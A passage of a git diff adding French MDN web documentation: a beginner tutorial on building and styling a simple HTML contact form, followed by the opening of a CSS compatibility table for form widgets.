+textarea {
+  /* <code class="css comments">Pour aligner correctement les champs multilignes et leurs étiquettes */</code>
+  vertical-align: top;
+
+  /* <code class="css comments">Pour donner assez d'espace pour entrer du texte */</code>
+  height: 5em;
+
+  /* <code class="css comments">Pour permettre aux utilisateurs de redimensionner un champ textuel horizontalement</code>
+     <code class="css comments">Cela ne marche pas avec tous les navigateurs  */</code>
+  resize: vertical;
+}
+
+.button {
+  /* <code class="css comments">Pour positionner les boutons de la même manière que les champs textuels */</code>
+  padding-left: 90px; /* <code class="css comments">même dimension que les étiquettes */</code>
+}
+
+button {
+  /* <code class="css comments">Cette marge représente approximativement le même espace</code>
+     <code class="css comments">que celui entre les étiquettes et les champs textuels */</code>
+  margin-left: .5em;
+}</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{ EmbedLiveSample('Un_formulaire_simple', '100%', '280') }}</p>
+
+<p> </p>
diff --git a/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/index.html b/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/index.html
new file mode 100644
index 0000000000..8f082f6d81
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/mon_premier_formulaire_html/index.html
@@ -0,0 +1,281 @@
+---
+title: Mon premier formulaire HTML
+slug: Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML
+tags:
+  - Apprentissage
+  - Codage
+  - Débutant
+  - Exemple
+  - Formulaires
+  - Guide
+  - HTML
+  - Web
+translation_of: Learn/Forms/Your_first_form
+---
+<p>{{LearnSidebar}}{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}</p>
+
+<p class="summary">Le premier article de notre série vous offre une toute première expérience de création de formulaire en HTML, y compris sa conception, sa mise en œuvre en utilisant les bons éléments HTML, l'ajout de quelques très simples décorations avec les CSS et la façon dont les données sont envoyées à un serveur.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prérequis :</th>
+   <td>Notions concernant les ordinateurs et les <a href="/fr/Apprendre/HTML/Introduction_à_HTML">connaissances de base du HTML</a>.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objectif :</th>
+   <td>Comprendre ce que sont les formulaires HTML, à quoi ils servent, comment les concevoir et quels sont les éléments de base HTML nécessaires dans les cas simples.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Un_formulaire_HTML_quest-ce">Un formulaire HTML, qu'est-ce ?</h2>
+
+<p>Les formulaires HTML sont un des vecteurs principaux d'interaction entre un utilisateur et un site web ou une application. Ils permettent à l'utilisateur d'envoyer des données au site web. La plupart du temps, ces données sont envoyées à des serveurs web mais la page peut aussi les intercepter et les utiliser elle-même.</p>
+
+<p>Un formulaire HTML est composé d'un ou plusieurs widgets. Ceux-ci peuvent être des zones de texte (sur une seule ligne ou plusieurs lignes), des boîtes à sélection, des boutons, des cases à cocher ou des boutons radio. La plupart du temps, ces items sont associés à un libellé qui décrit leur rôle — des étiquettes correctement implémentées sont susceptibles d'informer clairement l'utilisateur normal ou mal‑voyant sur ce qu'il convient d'entrer dans le formulaire.</p>
+
+<p>La principale différence entre un formulaire HTML et un document HTML habituel réside dans le fait que, généralement, les données collectées par le formulaire sont envoyées vers un serveur web. Dans ce cas, vous avez besoin de mettre en place un serveur web pour récupérer ces données et les traiter. La mise en place d'un tel serveur ne fait pas partie des sujets abordés dans ce guide. Si vous souhaitez toutefois en savoir plus, voyez « <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">Envoi des données de formulaire</a> » plus loin dans ce module.</p>
+
+<h2 id="Concevoir_le_formulaire">Concevoir le formulaire</h2>
+
+<p>Avant de passer au code, il est souhaitable de prendre un peu de recul et accorder quelques instants de réflexion à votre formulaire. Dessiner un rapide croquis vous permettra de définir les informations que vous souhaitez demander à l'utilisateur. Du point de vue de l'expérience utilisateur, il est important de garder à l'esprit que plus vous demandez d'informations, plus vous risquez que votre utilisateur s'en aille. Restez simple et ne perdez pas votre objectif de vue : ne demandez que ce dont vous avez absolument besoin. La conception de formulaires est une phase importante de la construction d'un site internet ou d'une application. L'approche de l'expérience utilisateur de ces formulaires ne fait pas partie des objectifs de ce guide, mais si vous souhaitez approfondir ce sujet, vous pouvez lire les articles suivants :</p>
+
+<ul>
+ <li>Smashing Magazine a de très bons <a href="http://uxdesign.smashingmagazine.com/tag/forms/" rel="external">articles à propos de l'expérience utilisateur dans les formulaires</a>, mais le plus intéressant est certainement leur « <a href="http://uxdesign.smashingmagazine.com/2011/11/08/extensive-guide-web-form-usability/" rel="external">Guide complet pour des formulaires web facilement utilisables</a> ».</li>
+ <li>UXMatters est une ressource bien pensée avec de très bons conseils allant des <a href="http://www.uxmatters.com/mt/archives/2012/05/7-basic-best-practices-for-buttons.php" rel="external">meilleures pratiques de base</a> jusqu'à des sujets plus complexes tels que <a href="http://www.uxmatters.com/mt/archives/2010/03/pagination-in-web-forms-evaluating-the-effectiveness-of-web-forms.php">les formulaires sur plusieurs pages</a>.</li>
+</ul>
+
+<p>Dans ce guide, nous allons concevoir un formulaire de contact simple. Posons les premières pierres.</p>
+
+<p><img alt="Le croquis du formulaire que l'on veut créer" src="https://mdn.mozillademos.org/files/15999/0006.png" style="border-style: solid; border-width: 1px; height: 375px; width: 400px;"></p>
+
+<p>Notre formulaire contiendra trois champs de texte et un bouton. Nous demandons simplement à notre utilisateur son nom, son adresse électronique et le message qu'il souhaite envoyer. En appuyant sur le bouton, le message sera envoyé au serveur web.</p>
+
+<h2 id="Apprentissage_actif_mise_en_œuvre_de_notre_formulaire_HTML"> Apprentissage actif : mise en œuvre de notre formulaire HTML</h2>
+
+<p>Très bien, nous sommes maintenant prêts à passer au HTML et à coder notre formulaire. Pour construire notre formulaire, nous aurons besoin des éléments HTML suivants : {{HTMLElement("form")}}, {{HTMLElement("label")}}, {{HTMLElement("input")}}, {{HTMLElement("textarea")}} et {{HTMLElement("button")}}.</p>
+
+<p>Avant de poursuivre, faites une copie locale de notre <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">simple modèle HTML</a> — vous y incorporerez votre formulaire.</p>
+
+<h3 id="Lélément_HTMLElementform">L'élément {{HTMLElement("form")}}</h3>
+
+<p>Tous les formulaires HTML débutent par un élément {{HTMLElement("form")}} comme celui-ci :</p>
+
+<pre class="brush:html; notranslate">&lt;form action="/<code class="language-html">my-handling-form-page</code>" method="post"&gt;
+
+&lt;/form&gt;</pre>
+
+<p>Cet élément définit un formulaire. C'est un élément conteneur au même titre que les éléments {{HTMLElement("div")}} ou {{HTMLElement("p")}}, mais il accepte aussi quelques attributs spécifiques afin de contrôler la manière dont il se comporte. Tous ses attributs sont optionnels mais définir au moins les attributs <code>action</code> et <code>method</code> est considéré comme de bonne pratique.</p>
+
+<ul>
+ <li>L'attribut <code>action</code> définit l'emplacement (une URL) où doivent être envoyées les données collectées par le formulaire.</li>
+ <li>L'attribut <code>method</code> définit la méthode HTTP utilisée pour envoyer les données (cela peut être « get » ou « post »).</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous souhaitez en savoir plus sur le fonctionnement de ces attributs, cela est détaillé dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">« Envoi des données de formulaire</a> ».</p>
+</div>
+
+<p>Pour le moment, ajoutez l'élément {{htmlelement("form")}} ci dessus dans le corps de votre HTML.</p>
+
+<h3 id="Les_éléments_HTMLElementlabel_HTMLElementinput_et_HTMLElementtextarea">Les éléments {{HTMLElement("label")}}, {{HTMLElement("input")}} et {{HTMLElement("textarea")}}</h3>
+
+<p>Notre formulaire de contact est très simple et ne contient que trois champs de texte, chacun ayant une étiquette. Le champ d'entrée pour le nom est un champ de texte sur une seule ligne, le champ pour l'adresse électronique est un champ de texte sur une ligne qui n'accepte que des adresses électroniques et enfin le champ pour le message est un champ de texte sur plusieurs lignes.</p>
+
+<p>En terme de code HTML, nous avons besoin de quelque chose qui ressemble à ceci pour mettre en œuvre nos widgets de formulaire.</p>
+
+<pre class="brush:html; notranslate">&lt;form action="/ma-page-de-traitement" method="post"&gt;
+    &lt;div&gt;
+        &lt;label for="name"&gt;Nom :&lt;/label&gt;
+        &lt;input type="text" id="name" name="user_name"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="mail"&gt;e-mail :&lt;/label&gt;
+        &lt;input type="email" id="mail" name="user_mail"&gt;
+    &lt;/div&gt;
+    &lt;div&gt;
+        &lt;label for="msg"&gt;Message :&lt;/label&gt;
+        &lt;textarea id="msg" name="user_message"&gt;&lt;/textarea&gt;
+    &lt;/div&gt;
+&lt;/form&gt;</pre>
+
+<p>Les éléments {{HTMLElement("div")}} sont ici pour structurer notre code et rendre la mise en page plus facile (voir ci-dessous). Veuillez noter l'utilisation de l'attribut <code>for</code> sur tous les éléments {{HTMLElement("label")}}. C'est une manière formelle de lier un libellé à un élément du formulaire. Cet attribut fait référence à l'<code>id</code> de l'élément correspondant. Il y a plusieurs avantages à faire ainsi. Le plus évident de permettre à l'utilisateur de cliquer sur l'étiquette pour activer le bloc correspondant. Si vous souhaitez mieux comprendre les bénéfices de cet attribut, tout est détaillé dans cet article : <a href="/fr/docs/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a>.</p>
+
+<p>Concernant l'élément {{HTMLElement("input")}}, l'attribut le plus important est l'attribut <code>type</code>. Ce dernier est extrêmement important puisqu'il définit le comportement de l'élément {{HTMLElement("input")}}. Il peut radicalement changer le sens de l'élément, faites-y attention. Si vous voulez en savoir plus à ce propos, vous pouvez lire l'article au sujet des <a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">widgets natifs pour formulaire</a>.</p>
+
+<ul>
+ <li>Dans notre exemple nous n'utilisons que la valeur <code>text</code> — qui est la valeur par défaut de cet attribut et représente un champ de texte basique sur une seule ligne acceptant n'importe quel type de texte.</li>
+ <li>Pour la deuxième entrée, nous utilisons la valeur <code>email</code> qui définit un champ de texte sur une seule ligne n'acceptant que des adresses électroniques valides. Cette dernière valeur transforme un champ basique en une sorte de champ « intelligent » qui réalise des vérifications sur les données fournies par l'utilisateur. Vous trouverez plus de détails sur la validation des formulaires dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a>.</li>
+</ul>
+
+<p>Last but not least, remarquez la syntaxe de <code>&lt;input&gt;</code> vs <code>&lt;textarea&gt;&lt;/textarea&gt;</code>. C'est une des bizarreries du HTML. La balise <code>&lt;input&gt;</code> est un élément vide, ce qui signifie qu'il n'a pas besoin de balise fermante. Au contraire, {{HTMLElement("textarea")}} n'est pas un élément vide, il faut donc le fermer avec la balise fermante appropriée. Cela a un effet sur une caractéristique spécifique des formulaires HTML : la manière dont vous définissez la valeur par défaut. Pour définir une valeur par défaut d'un élément {{HTMLElement("input")}} vous devez utiliser l'attribut <code>value</code> de la manière suivante :</p>
+
+<pre class="brush:html; notranslate">&lt;input type="text" value="par défaut cet élément sera renseigné avec ce texte"&gt;</pre>
+
+<p>A contrario, si vous souhaitez définir la valeur par défaut d'un élément {{HTMLElement("textarea")}}, il suffit simplement de mettre la valeur par défaut entre les balises ouvrantes et fermantes de l'élément {{HTMLElement("textarea")}} de la manière suivante :</p>
+
+<pre class="brush:html; notranslate">&lt;textarea&gt;par défaut cet élément sera renseigné avec ce texte&lt;/textarea&gt;</pre>
+
+<h3 id="Lélément_HTMLElementbutton">L'élément {{HTMLElement("button")}}</h3>
+
+<p>Notre formulaire est presque terminé. Il nous suffit seulement d'ajouter un bouton pour permettre à l'utilisateur de nous envoyer les données renseignées dans le formulaire. Ceci se fait simplement en ajoutant d'un élément {{HTMLElement("button")}} ; ajoutez‑le juste avant la balise fermante <code>&lt;/form&gt; :</code></p>
+
+<pre class="brush:html; notranslate">    &lt;div class="button"&gt;
+        &lt;button type="submit"&gt;Envoyer le message&lt;/button&gt;
+    &lt;/div&gt;
+</pre>
+
+<p>Comme vous le voyez l'élément {{htmlelement("button")}} accepte aussi un attribut de type — il peut prendre une des trois valeurs : <code>submit</code>, <code>reset</code> ou <code>button</code>.</p>
+
+<ul>
+ <li>Un clic sur un bouton <code>submit</code> (valeur par défaut) envoie les données du formulaire vers la page définie par l'attribut <code>action</code> de l'élément {{HTMLElement("form")}}.</li>
+ <li>Un clic sur un bouton <code>reset</code> réinitialise tous les widgets du formulaire à leurs valeurs par défaut immédiatement. Du point de vue de l'expérience utilisateur, utiliser un tel bouton est une mauvaise pratique.</li>
+ <li>Un clic sur un bouton <code>button</code> ne fait... rien ! Cela peut paraître stupide mais c'est en réalité très pratique pour concevoir des boutons personnalisés avec JavaScript.</li>
+</ul>
+
+<div class="note">
+<p><strong>Note :</strong> Vous pouvez aussi utiliser l'élément {{HTMLElement("input")}} avec le type approprié pour produire un bouton, par exemple <code>&lt;input type="submit"&gt;</code>. Le principal avantage de {{HTMLElement("button")}} par rapport à l'élément {{HTMLElement("input")}} est que ce dernier ne permet d'utiliser que du texte comme étiquette tandis que l'élément {{HTMLElement("button")}} permet d'utiliser n'importe quel contenu HTML, autorisant ainsi des textes de bouton plus complexes et créatifs.</p>
+</div>
+
+<h2 id="Mise_en_page_élémentaire_du_formulaire">Mise en page élémentaire du formulaire</h2>
+
+<p>Nous avons désormais notre formulaire HTML, et si vous le regardez dans votre navigateur préféré, vous verrez qu'il est plutôt laid.</p>
+
+<p><img alt="" src="/files/4049/form-no-style.png" style="height: 170px; width: 534px;"></p>
+
+<div class="note">
+<p><strong>Note :</strong> Si vous pensez que vous n'avez pas écrit un code HTML correct, faites la comparaison avec celui de notre exemple terminé — voyez  <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form.html">first-form.html</a> (<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html"> </a>ou<a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form.html"> également directement</a>).</p>
+</div>
+
+<p>Les formulaires sont notoirement embêtants à présenter joliment. Apprendre la mise en page ou la décoration des formulaires sort du cadre de cet article, donc pour le moment nous allons simplement ajouter quelques indications au CSS pour lui donner un air convenable.</p>
+
+<p>Tout d'abord, ajoutons un élément {{htmlelement("style")}} à notre page, dans l'en‑tête HTML. Comme ceci :</p>
+
+<pre class="brush: html notranslate">&lt;style&gt;
+
+&lt;/style&gt;</pre>
+
+<p>Entre les balises style, ajoutons le CSS suivant, juste comme indiqué :</p>
+
+<pre class="brush:css;  notranslate">form {
+  /* Uniquement centrer le formulaire sur la page */
+  margin: 0 auto;
+  width: 400px;
+  /* Encadré pour voir les limites du formulaire */
+  padding: 1em;
+  border: 1px solid #CCC;
+  border-radius: 1em;
+}
+
+form div + div {
+  margin-top: 1em;
+}
+
+label {
+  /* Pour être sûrs que toutes les étiquettes ont même taille et sont correctement alignées */
+  display: inline-block;
+  width: 90px;
+  text-align: right;
+}
+
+input, textarea {
+  /* Pour s'assurer que tous les champs texte ont la même police.
+     Par défaut, les textarea ont une police monospace */
+  font: 1em sans-serif;
+
+  /* Pour que tous les champs texte aient la même dimension */
+  width: 300px;
+  box-sizing: border-box;
+
+  /* Pour harmoniser le look &amp; feel des bordures des champs texte */
+  border: 1px solid #999;
+}
+
+input:focus, textarea:focus {
+  /* Pour souligner légèrement les éléments actifs */
+  border-color: #000;
+}
+
+textarea {
+  /* Pour aligner les champs texte multi‑ligne avec leur étiquette */
+  vertical-align: top;
+
+  /* Pour donner assez de place pour écrire du texte */
+  height: 5em;
+}
+
+.button {
+  /* Pour placer le bouton à la même position que les champs texte */
+  padding-left: 90px; /* même taille que les étiquettes */
+}
+
+button {
+  /* Cette marge supplémentaire représente grosso modo le même espace que celui
+     entre les étiquettes et les champs texte */
+  margin-left: .5em;
+}</pre>
+
+<p>Désormais notre formulaire a une bien meilleure allure.</p>
+
+<p><img alt="" src="/files/4051/form-style.png" style="height: 260px; width: 900px;"></p>
+
+<div class="note">
+<p><strong>Note</strong> : Il est sur GitHub dans <a href="https://github.com/mdn/learning-area/blob/master/html/forms/your-first-HTML-form/first-form-styled.html">first-form-styled.html</a> (à voir aussi <a href="https://mdn.github.io/learning-area/html/forms/your-first-HTML-form/first-form-styled.html">directement</a>).</p>
+</div>
+
+<h2 id="Envoyer_les_données_au_serveur_Web">Envoyer les données au serveur Web</h2>
+
+<p>Finalement, gérer les données du formulaire côté serveur web est peut être le plus compliqué. Comme dit auparavant, un formulaire HTML est une manière pratique de demander de l'information à un utilisateur et de les adresser à un serveur web.</p>
+
+<p>L'élément {{HTMLElement("form")}} définit où et comment les données sont envoyées, merci aux attributs <code>action</code> et <code>method</code>.</p>
+
+<p>Mais ce n'est pas tout. Nous avons aussi besoin de donner un nom à nos données. Ces noms sont importants pour deux raisons. Du côté du navigateur, cela sert à définir le nom de chaque élément de donnée. Du côté du serveur, chaque information doit avoir un nom pour être manipulée correctement.</p>
+
+<p>Pour nommer vos données vous devez utiliser l'attribut <code>name</code> pour identifier bien précisément l'élément d'information collecté par chacun des widgets. Regardons à nouveau le code de notre formulaire :</p>
+
+<pre class="brush:html;  notranslate">form action="/my-handling-form-page" method="post"&gt;
+  &lt;div&gt;
+    &lt;label for="name"&gt;Nom :&lt;/label&gt;
+    &lt;input type="text" id="name" name="user_name" /&gt;
+  &lt;div&gt;
+  &lt;div&gt;
+    &lt;label for="mail"&gt;E-mail :&lt;/label&gt;
+    &lt;input type="email" id="mail" name="user_email" /&gt;
+  &lt;/div&gt;
+  &lt;div&gt;
+    &lt;label for="msg"&gt;Message:&lt;/label&gt;
+    &lt;textarea id="msg" name="user_message"&gt;&lt;/textarea&gt;
+  &lt;/div&gt;
+
+  ...</pre>
+
+<p>Dans notre exemple, le formulaire enverra trois informations nommées respectivement « <code>user_name</code> », « <code>user_email </code>» et « <code>user_message</code> ». Ces informations seront envoyées à l'URL « <code>/my-handling-form-page</code> » avec la méthode HTTP POST.</p>
+
+<p>Du côté du serveur, le script à l'URL « <code>/my-handling-form-page</code><em> </em>» recevra les données sous forme d'une liste de trois éléments clé/valeur intégrés à la requête HTTP. À vous de définir comment ce script va manipuler les données. Chacun des langages serveurs (PHP, Python, Ruby, Java, C#, etc.) a son propre mécanisme pour traiter ces données. Il n'appartient pas à ce guide d'approfondir ce sujet, mais si vous souhaitez en savoir plus, nous avons mis quelques exemples dans l'article <a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_donn%C3%A9es_des_formulaires">Envoi des données de formulaire</a>.</p>
+
+<h2 id="Résumé">Résumé</h2>
+
+<p>Félicitations ! Vous avez construit votre premier formulaire HTML. Il ressemble à ceci :</p>
+
+<p>{{EmbedLiveSample("Un_formulaire_simple", "100%", "240", "", "Web/Guide/HTML/Formulaires/Mon_premier_formulaire_HTML/Exemple")}}</p>
+
+<p>Toutefois, ce n'est qu'un début — il est désormais temps de regarder plus en détail. Les formulaires HTML sont bien plus puissants que ce que vous avez pu voir ici et les autres articles de ce guide vous aiderons à maîtriser le reste.</p>
+
+<p>{{NextMenu("Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML", "Web/Guide/HTML/Formulaires")}}</p>
+
+<h2 id="Dans_ce_module">Dans ce module</h2>
+
+<ul>
+ <li>Mon premier formulaire HTML</li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_structurer_un_formulaire_HTML">Comment structurer un formulaire HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Les_blocs_de_formulaires_natifs">Les widgets natifs pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Envoyer_et_extraire_les_données_des_formulaires">Envoi des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Validation_donnees_formulaire">Validation des données de formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Comment_construire_des_widgets_de_formulaires_personnalisés">Comment construire des widgets personnalisés pour formulaire</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Sending_forms_through_JavaScript">Envoi de formulaires à l'aide du JavaScript</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/HTML_forms_in_legacy_browsers">Formulaires HTML dans les navigateurs anciens</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Apparence_des_formulaires_HTML">Mise en forme des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms">Mise en forme avancée des formulaires HTML</a></li>
+ <li><a href="/fr/docs/Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets">Table de compatibilité des propriétés pour les widgets de formulaire</a></li>
+</ul>
diff --git a/files/fr/web/guide/html/formulaires/property_compatibility_table_for_form_widgets/index.html b/files/fr/web/guide/html/formulaires/property_compatibility_table_for_form_widgets/index.html
new file mode 100644
index 0000000000..eacb5640ef
--- /dev/null
+++ b/files/fr/web/guide/html/formulaires/property_compatibility_table_for_form_widgets/index.html
@@ -0,0 +1,1991 @@
+---
+title: Table de compatibilité des propriétés pour les widgets de formulaire
+slug: Web/Guide/HTML/Formulaires/Property_compatibility_table_for_form_widgets
+tags:
+  - Avancé
+  - CSS
+  - Formulaires
+  - Guide
+  - HTML
+  - Indésirables
+  - Mises à jour
+  - Web
+translation_of: Learn/Forms/Property_compatibility_table_for_form_controls
+---
+<div>{{learnsidebar}}{{PreviousMenu("Web/Guide/HTML/Formulaires/Advanced_styling_for_HTML_forms", "Web/Guide/HTML/Formulaires")}}</div>
+
+<p class="summary">Les tables de compatibilité suivantes tentent de résumer l'état de la prise en charge des CSS par les formulaires HTML. Eu égard à la complexité des CSS et des formulaires HTML, ces tables ne peuvent pas être considérées comme un élément de référence parfait. Toutefois, elles vous donneront un bon aperçu de ce qui peut et de ce qui ne peut pas être fait, ce qui vous aidera à apprendre comment faire les choses.</p>
+
+<h2 id="Comment_lire_les_tables">Comment lire les tables</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<p>Pour chaque propriété, il y a quatre valeurs possibles :</p>
+
+<dl>
+ <dt>OUI</dt>
+ <dd>La prise en charge de la propriété est raisonnablement cohérente d'un navigateur à l'autre. Il se peut que vous soyez encore confronté à des effets collatéraux étranges dans certains cas limites.</dd>
+ <dt>PARTIEL</dt>
+ <dd>Bien que la propriété soit acceptée, vous pouvez fréquemment être confronté à des effets collatéraux bizarres ou à des incohérences. Vous devriez probablement éviter ces propriétés si vous n'avez pas d'abord maîtrisé ces effets secondaires.</dd>
+ <dt>NON</dt>
+ <dd>La propriété ne fonctionne tout simplement pas ou est si incohérente qu'elle n'est pas fiable.</dd>
+ <dt>N.A.</dt>
+ <dd>La propriété n'a aucune signification pour ce type de widget.</dd>
+</dl>
+
+<h3 id="Rendu">Rendu</h3>
+
+<p>Pour chaque propriété il y a deux rendus possibles :</p>
+
+<dl>
+ <dt>N (Normal)</dt>
+ <dd>Indique que la propriété est appliquée telle quelle.</dd>
+ <dt>A (Altéré)</dt>
+ <dd>Indique que la propriété est appliquée avec la règle supplémentaire ci-dessous :</dd>
+</dl>
+
+<pre class="brush: css">* {
+/* Ceci désactive l'aspect et le comportement natif des navigateurs basés sur WebKit. */
+  -webkit-appearance: none;
+
+/* Ceci désactive l'aspect et le comportement natif des navigateurs basés sur Gecko. */
+  -moz-appearance: none;
+
+/* Ceci désactive l'aspect et le comportement natif sur plusieurs divers navigateurs
+   y compris Opera, Internet Explorer et Firefox */
+  background: none;
+}</pre>
+
+<h2 id="Tables_de_compatibilité">Tables de compatibilité</h2>
+
+<h3 id="Comportements_globaux">Comportements globaux</h3>
+
+<p>Certains comportements sont communs à de nombreux navigateurs au niveau global :</p>
+
+<dl>
+ <dt>{{cssxref("border")}}, {{cssxref("background")}}, {{cssxref("border-radius")}}, {{cssxref("height")}}</dt>
+ <dd>L'utilisation de l'une de ces propriétés peut désactiver partiellement ou totalement l'aspect natif des widgets sur certains navigateurs. Prudence lorsque vous les utilisez.</dd>
+ <dt>{{cssxref("line-height")}}</dt>
+ <dd>Cette propriété est prise en charge de manière non cohérente d'un navigateur à l'autre et vous devriez l'éviter.</dd>
+ <dt>{{cssxref("text-decoration")}}</dt>
+ <dd>Cette propriété n'est pas prise en charge par Opera sur les widgets de formulaire.</dd>
+ <dt>{{cssxref("text-overflow")}}</dt>
+ <dd>Opera, Safari et IE9 ne prennent pas en charge cette propriété sur les widgets de formulaire.</dd>
+ <dt>{{cssxref("text-shadow")}}</dt>
+ <dd>Opera ne prend pas en charge {{cssxref("text-shadow")}} sur les widgets de formulaire et IE9 ne le prend pas du tout en charge.</dd>
+</dl>
+
+<h3 id="Champs_texte">Champs texte</h3>
+
+<table>
+ <thead>
+  <tr>
+   <th scope="col">Propriété</th>
+   <th scope="col" style="text-align: center;">N</th>
+   <th scope="col" style="text-align: center;">A</th>
+   <th scope="col">Note</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Modèle de boîte CSS</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("width")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("height")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser <code>-webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche.</li>
+     <li>Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("border")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser <code>-webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche.</li>
+     <li>Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("margin")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="vertical-align: top;">{{cssxref("padding")}}</th>
+   <td style="text-align: center; background-color: rgb(255, 255, 102); vertical-align: top;">Partiel<sup>[1][2]</sup></td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Les navigateurs WebKit (principalement sur Mac OSX et iOS) utilisent apparence et comportement natifs pour les champs de recherche. Par conséquent, il est nécessaire d'utiliser <code>-webkit-appearance:none</code> pour pouvoir appliquer cette propriété aux champs de recherche.</li>
+     <li>Sous Windows 7, Internet Explorer 9 n'applique pas la bordure à moins que <code>background:none</code> ne soit utilisé.</li>
+    </ol>
+   </td>
+  </tr>
+ </tbody>
+ <tbody>
+  <tr>
+   <th colspan="4" scope="col"><em>Texte et polices</em></th>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("color")}}<sup>[1]</sup></th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>
+    <ol>
+     <li>Si la propriété {{cssxref("border-color")}} n'est pas mentionnée, certains navigateurs fondés sur WebKit appliqueront la propriété {{cssxref("color")}} aussi bien à la bordure qu'à la police avec l'élément {{HTMLElement("textarea")}}.</li>
+    </ol>
+   </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("font")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td>Voir la note à propos de {{cssxref("line-height")}}</td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("letter-spacing")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <th scope="row" style="white-space: nowrap; vertical-align: top;">{{cssxref("text-align")}}</th>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td style="text-align: center; background-color: rgb(204, 255, 102); vertical-align: top;">Oui</td>
+   <td> </td>
+  </tr>
+  <tr>
